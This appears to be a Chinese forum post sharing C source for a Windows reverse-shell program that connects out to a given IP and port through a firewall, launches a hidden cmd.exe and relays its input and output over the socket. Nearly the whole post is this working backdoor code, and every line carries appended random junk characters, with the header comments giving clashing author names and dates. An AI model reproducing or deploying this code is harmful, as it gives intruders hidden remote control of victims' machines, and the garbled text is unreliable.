这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6Q&i=!fQ
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/* ============================== dEo r+5}
Rebound port in Windows NT zm4e+v-
By wind,2006/7 m`b:#z
===============================*/ i98PlAq)B
#include Ct:c%D(L
#include Tz7 R:S.
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#pragma comment(lib,"wsock32.lib") g91xUG
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void OutputShell(); >feeVk
SOCKET sClient; 8^R~qpg%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `_"?$ v2F
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void main(int argc,char **argv) zE7)4!
{ qQS&K%F
WSADATA stWsaData; .
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int nRet; QqcAmp
SOCKADDR_IN stSaiClient,stSaiServer; M?kXzb\O
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if(argc != 3) 2%MS$Fto
{ |Z$)t%'
printf("Useage:\n\rRebound DestIP DestPort\n"); qSaCl6[Do
return; tMo=q7ig
} APU~y5vG (
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WSAStartup(MAKEWORD(2,2),&stWsaData); HDz"i
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =S\pI
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stSaiClient.sin_family = AF_INET; 8P&z@E{y
stSaiClient.sin_port = htons(0); -&QpQ7q1
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); NI C.c3
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $us7fuKE
{ C.se/\PE
printf("Bind Socket Failed!\n"); mk6>}z*
return; <u
} D@k#'KU
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stSaiServer.sin_family = AF_INET; (&/~q:a>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2 ,.8oa(
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4*UKR!sr
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) G@<[fO|Iam
{ Su'l &]
printf("Connect Error!"); w"
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return; @^HZTuP2;
} $tK/3
OutputShell(); W@~a#~1O
} xDmwiVy
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void OutputShell() VxU{ZD~<Z"
{ kQrby\F(<
char szBuff[1024]; cOP%R_ak?
SECURITY_ATTRIBUTES stSecurityAttributes; i^rHZmT
OSVERSIONINFO stOsversionInfo; `<%
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; mrlhj8W?!
STARTUPINFO stStartupInfo; tpP68)<ns
char *szShell; w}x&wWM
PROCESS_INFORMATION stProcessInformation; cn'rBY
unsigned long lBytesRead; \u 6/nvZ]N
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2JHV*/Q
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); i"{znKz vD
stSecurityAttributes.lpSecurityDescriptor = 0; |(9l_e|
stSecurityAttributes.bInheritHandle = TRUE; Jz-RMX=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~e+pa|lO
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); EsLtC5]
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Sqla+L*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {%X[Snv
stStartupInfo.wShowWindow = SW_HIDE; #?bOAWAwLh
stStartupInfo.hStdInput = hReadPipe; 2*zMLI0.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nB%[\LtZ?
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GetVersionEx(&stOsversionInfo); IZxr;\dq6
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switch(stOsversionInfo.dwPlatformId) PB@jh}
{ fc%C!^7
case 1: Z'c9xvy5
szShell = "command.com"; [Y6ZcO/-i
break; &"X1w $
default: G\*`%B_ n
szShell = "cmd.exe"; szy2"~hm
break; {CGk9g"`
} 'Y>@t6E4
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); w#;y
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send(sClient,szMsg,77,0); t},71Ry
while(1) 8|rlP
{ 7*47mJyc
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }kk[lvhJ
if(lBytesRead) N!13QI
H
{ p[D,.0SuC
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l/bZE.GJ
send(sClient,szBuff,lBytesRead,0); K )9f\1\
} 8*(|uX
else oh >0}Gc8
{ 2Vg+Aly4D
lBytesRead=recv(sClient,szBuff,1024,0); kJ B u7
if(lBytesRead<=0) break; _;G|3>5u
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Qr[".>+
} ]DI%7kw'
} ;vgaFc]
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return; *0%G`Q
}